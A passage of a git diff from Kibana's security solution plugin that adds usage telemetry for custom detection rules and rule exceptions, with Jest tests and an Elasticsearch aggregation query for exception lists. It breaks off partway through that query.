0, @@ -372,6 +386,7 @@ describe('Detections Usage and Metrics', () => { suppressed_per_time_period: 1, suppresses_missing_fields: 0, }, + has_exceptions: 2, response_actions: { enabled: 0, disabled: 0, @@ -381,6 +396,39 @@ describe('Detections Usage and Metrics', () => { }, }, }, + machine_learning_custom: { + alerts: 0, + cases: 10, + disabled: 1, + enabled: 0, + legacy_notifications_enabled: 0, + legacy_notifications_disabled: 0, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_investigation_fields: 0, + alert_suppression: { + disabled: 1, + does_not_suppress_missing_fields: 1, + enabled: 0, + suppressed_fields_count: { + one: 0, + three: 0, + two: 1, + }, + suppressed_per_rule_execution: 0, + suppressed_per_time_period: 1, + suppresses_missing_fields: 0, + }, + response_actions: { + enabled: 0, + disabled: 0, + response_actions: { + endpoint: 0, + osquery: 0, + }, + }, + has_exceptions: 1, + }, query: { alerts: 10, cases: 4, @@ -404,6 +452,39 @@ describe('Detections Usage and Metrics', () => { suppressed_per_time_period: 1, suppresses_missing_fields: 0, }, + has_exceptions: 2, + response_actions: { + enabled: 0, + disabled: 0, + response_actions: { + endpoint: 0, + osquery: 0, + }, + }, + }, + query_custom: { + alerts: 5, + cases: 2, + disabled: 0, + enabled: 1, + legacy_notifications_enabled: 0, + legacy_notifications_disabled: 0, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_investigation_fields: 0, + alert_suppression: { + disabled: 0, + does_not_suppress_missing_fields: 1, + enabled: 1, + suppressed_fields_count: { + one: 0, + three: 0, + two: 1, + }, + suppressed_per_rule_execution: 0, + suppressed_per_time_period: 1, + suppresses_missing_fields: 0, + }, response_actions: { enabled: 0, disabled: 0, @@ -412,64 +493,72 @@ describe('Detections Usage and Metrics', () => { osquery: 0, }, }, + has_exceptions: 1, }, }); }); describe('table tests of "ruleType", "enabled", "elasticRule", "legacyNotification", and "hasLegacyInvestigationField"', () => { test.each` - ruleType | enabled | hasLegacyNotification | hasNotification | expectedLegacyNotificationsEnabled | expectedLegacyNotificationsDisabled | expectedNotificationsEnabled | expectedNotificationsDisabled | hasLegacyInvestigationField - ${'eql'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} - ${'eql'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'eql'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} - ${'eql'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'eql'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} - ${'eql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} - ${'eql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} - ${'query'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} - ${'query'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'query'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} - ${'query'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'query'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} - ${'query'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} - ${'query'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} - ${'threshold'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} - ${'threshold'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'threshold'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} - ${'threshold'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'threshold'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} - ${'threshold'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} - ${'threshold'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} - ${'machine_learning'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} - ${'machine_learning'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'machine_learning'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} - ${'machine_learning'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'machine_learning'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} - ${'machine_learning'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} - ${'machine_learning'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} - ${'threat_match'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} - ${'threat_match'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'threat_match'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} - ${'threat_match'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'threat_match'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} - ${'threat_match'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} - ${'threat_match'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} - ${'new_terms'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} - ${'new_terms'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'new_terms'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} - ${'new_terms'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'new_terms'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} - ${'new_terms'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} - ${'new_terms'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} - ${'esql'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} - ${'esql'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'esql'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} - ${'esql'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} - ${'esql'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} - ${'esql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} - ${'esql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} + ruleType | enabled | hasLegacyNotification | hasNotification | expectedLegacyNotificationsEnabled | expectedLegacyNotificationsDisabled | expectedNotificationsEnabled | expectedNotificationsDisabled | hasLegacyInvestigationField | hasExceptions + ${'eql'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'eql'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'eql'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} | ${false} + ${'eql'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'eql'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} | ${false} + ${'eql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'eql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} | ${false} + ${'eql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${true} + ${'query'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'query'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'query'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} | ${false} + ${'query'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'query'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} | ${false} + ${'query'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'query'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} | ${false} + ${'query'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${true} + ${'threshold'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'threshold'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'threshold'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} | ${false} + ${'threshold'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'threshold'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} | ${false} + ${'threshold'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'threshold'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} | ${false} + ${'threshold'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${true} + ${'machine_learning'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'machine_learning'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'machine_learning'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} | ${false} + ${'machine_learning'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'machine_learning'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} | ${false} + ${'machine_learning'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'machine_learning'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} | ${false} + ${'machine_learning'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${true} + ${'threat_match'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'threat_match'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'threat_match'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} | ${false} + ${'threat_match'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'threat_match'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} | ${false} + ${'threat_match'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'threat_match'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} | ${false} + ${'threat_match'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${true} + ${'new_terms'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'new_terms'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'new_terms'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} | ${false} + ${'new_terms'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'new_terms'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} | ${false} + ${'new_terms'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'new_terms'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} | ${false} + ${'new_terms'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${true} + ${'esql'} | ${true} | ${true} | ${false} | ${1} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'esql'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'esql'} | ${false} | ${false} | ${true} | ${0} | ${0} | ${0} | ${1} | ${0} | ${false} + ${'esql'} | ${true} | ${false} | ${true} | ${0} | ${0} | ${1} | ${0} | ${0} | ${false} + ${'esql'} | ${false} | ${true} | ${false} | ${0} | ${1} | ${0} | ${0} | ${0} | ${false} + ${'esql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${false} + ${'esql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${1} | ${false} + ${'esql'} | ${false} | ${false} | ${false} | ${0} | ${0} | ${0} | ${0} | ${0} | ${true} `( - 'expect { "ruleType": $ruleType, "enabled": $enabled, "hasLegacyNotification": $hasLegacyNotification, "hasNotification": $hasNotification, hasLegacyInvestigationField: $hasLegacyInvestigationField } to equal { legacy_notifications_enabled: $expectedLegacyNotificationsEnabled, legacy_notifications_disabled: $expectedLegacyNotificationsDisabled, notifications_enabled: $expectedNotificationsEnabled, notifications_disabled, $expectedNotificationsDisabled, hasLegacyInvestigationField: $hasLegacyInvestigationField }', + 'expect { "ruleType": $ruleType, "enabled": $enabled, "hasLegacyNotification": $hasLegacyNotification, "hasNotification": $hasNotification, hasLegacyInvestigationField: $hasLegacyInvestigationField } to equal { legacy_notifications_enabled: $expectedLegacyNotificationsEnabled, legacy_notifications_disabled: $expectedLegacyNotificationsDisabled, notifications_enabled: $expectedNotificationsEnabled, notifications_disabled, $expectedNotificationsDisabled, hasLegacyInvestigationField: $hasLegacyInvestigationField, hasExceptions:$hasExceptions }', ({ ruleType, enabled, @@ -480,6 +569,7 @@ describe('Detections Usage and Metrics', () => { expectedNotificationsEnabled, expectedNotificationsDisabled, hasLegacyInvestigationField, + hasExceptions, }) => { const rule1 = createStubRule({ ruleType, @@ -494,6 +584,7 @@ describe('Detections Usage and Metrics', () => { hasAlertSuppressionPerRuleExecution: true, hasAlertSuppressionPerTimePeriod: false, alertSuppressionFieldsCount: 3, + hasExceptions: true, hasResponseActions: false, hasResponseActionsEndpoint: false, hasResponseActionsOsquery: false, @@ -525,6 +616,7 @@ describe('Detections Usage and Metrics', () => { hasAlertSuppressionPerRuleExecution: true, hasAlertSuppressionPerTimePeriod: false, alertSuppressionFieldsCount: 3, + hasExceptions: true, hasResponseActions: false, hasResponseActionsEndpoint: false, hasResponseActionsOsquery: false, diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/update_usage.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/update_usage.ts index 4c08e1ddc9cc0..88297a6cc4b32 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/update_usage.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/update_usage.ts @@ -23,6 +23,17 @@ export const updateRuleUsage = ( detectionRuleMetric, }), }; + + if (!detectionRuleMetric.elastic_rule) { + updatedUsage = { + ...updatedUsage, + query_custom: updateQueryUsage({ + ruleType: 'query_custom', + usage, + detectionRuleMetric, + }), + }; + } } else if (detectionRuleMetric.rule_type === 'threshold') { updatedUsage = { ...usage, @@ -32,6 +43,17 @@ export const updateRuleUsage = ( detectionRuleMetric, }), }; + + if (!detectionRuleMetric.elastic_rule) { + updatedUsage = { + ...updatedUsage, + threshold_custom: updateQueryUsage({ + ruleType: 'threshold_custom', + usage, + detectionRuleMetric, + }), + }; + } } else if (detectionRuleMetric.rule_type === 'eql') { updatedUsage = { ...usage, @@ -41,6 +63,17 @@ export const updateRuleUsage = ( detectionRuleMetric, }), }; + + if (!detectionRuleMetric.elastic_rule) { + updatedUsage = { + ...updatedUsage, + eql_custom: updateQueryUsage({ + ruleType: 'eql_custom', + usage, + detectionRuleMetric, + }), + }; + } } else if (detectionRuleMetric.rule_type === 'machine_learning') { updatedUsage = { ...usage, @@ -50,6 +83,17 @@ export const updateRuleUsage = ( detectionRuleMetric, }), }; + + if (!detectionRuleMetric.elastic_rule) { + updatedUsage = { + ...updatedUsage, + machine_learning_custom: updateQueryUsage({ + ruleType: 'machine_learning_custom', + usage, + detectionRuleMetric, + }), + }; + } } else if (detectionRuleMetric.rule_type === 'threat_match') { updatedUsage = { ...usage, @@ -59,6 +103,17 @@ export const updateRuleUsage = ( detectionRuleMetric, }), }; + + if (!detectionRuleMetric.elastic_rule) { + updatedUsage = { + ...updatedUsage, + threat_match_custom: updateQueryUsage({ + ruleType: 'threat_match_custom', + usage, + detectionRuleMetric, + }), + }; + } } else if (detectionRuleMetric.rule_type === 'new_terms') { updatedUsage = { ...usage, @@ -68,6 +123,17 @@ export const updateRuleUsage = ( detectionRuleMetric, }), }; + + if (!detectionRuleMetric.elastic_rule) { + updatedUsage = { + ...updatedUsage, + new_terms_custom: updateQueryUsage({ + ruleType: 'new_terms_custom', + usage, + detectionRuleMetric, + }), + }; + } } else if (detectionRuleMetric.rule_type === 'esql') { updatedUsage = { ...usage, @@ -77,6 +143,17 @@ export const updateRuleUsage = ( detectionRuleMetric, }), }; + + if (!detectionRuleMetric.elastic_rule) { + updatedUsage = { + ...updatedUsage, + esql_custom: updateQueryUsage({ + ruleType: 'esql_custom', + usage, + detectionRuleMetric, + }), + }; + } } if (detectionRuleMetric.elastic_rule) { diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/usage_utils/update_query_usage.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/usage_utils/update_query_usage.ts index e88823bce8bba..efdc6975b74d4 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/usage_utils/update_query_usage.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/usage_utils/update_query_usage.ts @@ -50,6 +50,9 @@ export const updateQueryUsage = ({ ? usage[ruleType].legacy_investigation_fields + 1 : usage[ruleType].legacy_investigation_fields, alert_suppression: updateAlertSuppressionUsage({ usage: usage[ruleType], detectionRuleMetric }), + has_exceptions: detectionRuleMetric.has_exceptions + ? usage[ruleType].has_exceptions + 1 + : usage[ruleType].has_exceptions, response_actions: updateResponseActionsUsage({ usage: usage[ruleType], detectionRuleMetric, diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/usage_utils/update_total_usage.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/usage_utils/update_total_usage.ts index 2e5a8203e3364..a4999c64a5e9a 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/usage_utils/update_total_usage.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/usage_utils/update_total_usage.ts @@ -56,6 +56,9 @@ export const updateTotalUsage = ({ usage: updatedUsage[totalType], detectionRuleMetric, }), + has_exceptions: detectionRuleMetric.has_exceptions + ? updatedUsage[totalType].has_exceptions + 1 + : updatedUsage[totalType].has_exceptions, response_actions: updateResponseActionsUsage({ usage: updatedUsage[totalType], detectionRuleMetric, diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/get_metrics.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/get_metrics.ts new file mode 100644 index 0000000000000..e9e31ce110daf --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/get_metrics.ts @@ -0,0 +1,26 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { ElasticsearchClient, Logger, SavedObjectsClientContract } from '@kbn/core/server'; +import type { ExceptionMetricsSchema } from './types'; +import { getExceptionsOverview } from './queries/get_exceptions_overview'; + +export interface GetExceptionsMetricsOptions { + esClient: ElasticsearchClient; + savedObjectsClient: SavedObjectsClientContract; + logger: Logger; +} + +export const getExceptionsMetrics = async ({ + esClient, + logger, +}: GetExceptionsMetricsOptions): Promise => { + return getExceptionsOverview({ + esClient, + logger, + }); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/queries/get_exceptions_overview.test.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/queries/get_exceptions_overview.test.ts new file mode 100644 index 0000000000000..08331744794c4 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/queries/get_exceptions_overview.test.ts @@ -0,0 +1,408 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { getExceptionsOverview } from './get_exceptions_overview'; +import { elasticsearchServiceMock, loggingSystemMock } from '@kbn/core/server/mocks'; + +describe('getExceptionsOverview', () => { + let esClient: ReturnType; + let logger: ReturnType; + + beforeEach(() => { + esClient = elasticsearchServiceMock.createElasticsearchClient(); + logger = loggingSystemMock.createLogger(); + }); + + it('returns default metrics when no data is found', async () => { + esClient.search.mockResolvedValueOnce({ + took: 12, + timed_out: false, + _shards: { + total: 21, + successful: 21, + skipped: 0, + failed: 0, + }, + hits: { + total: { + value: 0, + relation: 'eq', + }, + max_score: null, + hits: [], + }, + aggregations: {}, + }); + + const result = await getExceptionsOverview({ esClient, logger }); + + expect(result).toEqual({ + lists_overview: { + endpoint: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + rule_default: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + detection: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + }, + items_overview: { + total: 0, + has_expire_time: 0, + are_expired: 0, + has_comments: 0, + entries: { + match: 0, + list: 0, + nested: 0, + match_any: 0, + exists: 0, + wildcard: 0, + }, + }, + }); + }); + + it('aggregates metrics correctly when data is present', async () => { + esClient.search.mockResolvedValueOnce({ + took: 12, + timed_out: false, + _shards: { + total: 21, + successful: 21, + skipped: 0, + failed: 0, + }, + hits: { + total: { + value: 3, + relation: 'eq', + }, + max_score: null, + hits: [], + }, + aggregations: { + agnostic_space_lists: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'endpoint_list', + doc_count: 1, + list_details: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'endpoint', + doc_count: 1, + }, + ], + }, + }, + items_entries_type: { + doc_count: 0, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [], + }, + }, + non_empty_comments: { + doc_count: 0, + }, + expire_time_exists: { + doc_count: 1, + }, + expire_time_expired: { + doc_count: 0, + }, + }, + ], + }, + single_space_lists: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: '1caede1b-68e3-4b57-a3e4-b4bf58f3d0cc', + doc_count: 2, + list_details: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'rule_default', + doc_count: 1, + }, + ], + }, + }, + items_entries_type: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'exists', + doc_count: 1, + }, + { + key: 'match', + doc_count: 1, + }, + ], + }, + }, + non_empty_comments: { + doc_count: 0, + }, + expire_time_exists: { + doc_count: 0, + }, + expire_time_expired: { + doc_count: 0, + }, + }, + { + key: '4caede1b-68e3-4b57-a3e4-b4bf58f3d022', + doc_count: 2, + list_details: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'detection', + doc_count: 1, + }, + ], + }, + }, + items_entries_type: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'exists', + doc_count: 1, + }, + { + key: 'match', + doc_count: 1, + }, + { + key: 'list', + doc_count: 1, + }, + ], + }, + }, + non_empty_comments: { + doc_count: 4, + }, + expire_time_exists: { + doc_count: 2, + }, + expire_time_expired: { + doc_count: 1, + }, + }, + { + key: '5caede1b-68e3-4b57-a3e4-b4bf58f3d055', + doc_count: 2, + list_details: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'detection', + doc_count: 1, + }, + ], + }, + }, + items_entries_type: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'match_any', + doc_count: 1, + }, + ], + }, + }, + non_empty_comments: { + doc_count: 1, + }, + expire_time_exists: { + doc_count: 0, + }, + expire_time_expired: { + doc_count: 0, + }, + }, + { + key: '7caede1b-68e3-4b57-a3e4-b4bf58f3d077', + doc_count: 2, + list_details: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'detection', + doc_count: 1, + }, + ], + }, + }, + items_entries_type: { + doc_count: 1, + by_type: { + doc_count_error_upper_bound: 0, + sum_other_doc_count: 0, + buckets: [ + { + key: 'exists', + doc_count: 1, + }, + ], + }, + }, + non_empty_comments: { + doc_count: 0, + }, + expire_time_exists: { + doc_count: 0, + }, + expire_time_expired: { + doc_count: 0, + }, + }, + ], + }, + }, + }); + + const result = await getExceptionsOverview({ esClient, logger }); + + expect(result).toEqual({ + lists_overview: { + endpoint: { + lists: 1, + max_items_per_list: 0, + median_items_per_list: 0, + min_items_per_list: 0, + total_items: 0, + }, + rule_default: { + lists: 1, + max_items_per_list: 1, + median_items_per_list: 1, + min_items_per_list: 1, + total_items: 1, + }, + detection: { + lists: 3, + max_items_per_list: 1, + median_items_per_list: 1, + min_items_per_list: 1, + total_items: 3, + }, + }, + items_overview: { + are_expired: 1, + has_comments: 5, + has_expire_time: 3, + total: 4, + entries: { + exists: 3, + list: 1, + match: 2, + match_any: 1, + nested: 0, + wildcard: 0, + }, + }, + }); + }); + + it('returns default metrics when Elasticsearch query fails', async () => { + esClient.search.mockRejectedValueOnce(new Error('Elasticsearch query failed')); + + const result = await getExceptionsOverview({ esClient, logger }); + + expect(result).toEqual({ + lists_overview: { + endpoint: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + rule_default: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + detection: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + }, + items_overview: { + total: 0, + has_expire_time: 0, + are_expired: 0, + has_comments: 0, + entries: { + match: 0, + list: 0, + nested: 0, + match_any: 0, + exists: 0, + wildcard: 0, + }, + }, + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/queries/get_exceptions_overview.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/queries/get_exceptions_overview.ts new file mode 100644 index 0000000000000..68364f770adb4 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/queries/get_exceptions_overview.ts @@ -0,0 +1,383 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { Logger, ElasticsearchClient } from '@kbn/core/server'; +import type { SearchRequest } from '@elastic/elasticsearch/lib/api/types'; +import { + LIST_TYPES, + type ExceptionMetricsSchema, + type ExceptionsOverviewAggsResponse, + type ItemsInfoSchema, + type ListType, +} from '../types'; +import { computeMedian, isApprovedListType } from '../utils'; + +export interface GetExceptionsOverviewOptions { + logger: Logger; + esClient: ElasticsearchClient; +} + +interface ListInfoInternal { + lists: number; + total_items: number; + max_items_per_list: number; + min_items_per_list: number; + median_items_per_list: number; + _item_counts: number[]; +} + +const ITEMS_OVERVIEW_METRICS_DEFAULT_STATE: ItemsInfoSchema = { + total: 0, + has_expire_time: 0, + are_expired: 0, + has_comments: 0, + entries: { + match: 0, + list: 0, + nested: 0, + match_any: 0, + exists: 0, + wildcard: 0, + }, +}; + +const LISTS_OVERVIEW_METRICS_DEFAULT_STATE_INTERNAL: Record = { + endpoint: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + _item_counts: [], + }, + rule_default: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + _item_counts: [], + }, + detection: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + _item_counts: [], + }, +}; + +const METRICS_DEFAULT_STATE_INTERNAL = { + lists_overview: LISTS_OVERVIEW_METRICS_DEFAULT_STATE_INTERNAL, + items_overview: ITEMS_OVERVIEW_METRICS_DEFAULT_STATE, +}; + +export const getExceptionsOverview = async ({ + logger, + esClient, +}: GetExceptionsOverviewOptions): Promise => { + try { + const query: SearchRequest = { + expand_wildcards: ['open' as const, 'hidden' as const], + index: '.kibana*', + ignore_unavailable: false, + size: 0, // no query results required - only aggregation quantity + query: { + bool: { + should: [ + { term: { type: 'exception-list' } }, + { term: { type: 'exception-list-agnostic' } }, + ], + must_not: [ + { + terms: { + 'exception-list.list_id': [ + 'endpoint_trusted_apps', + 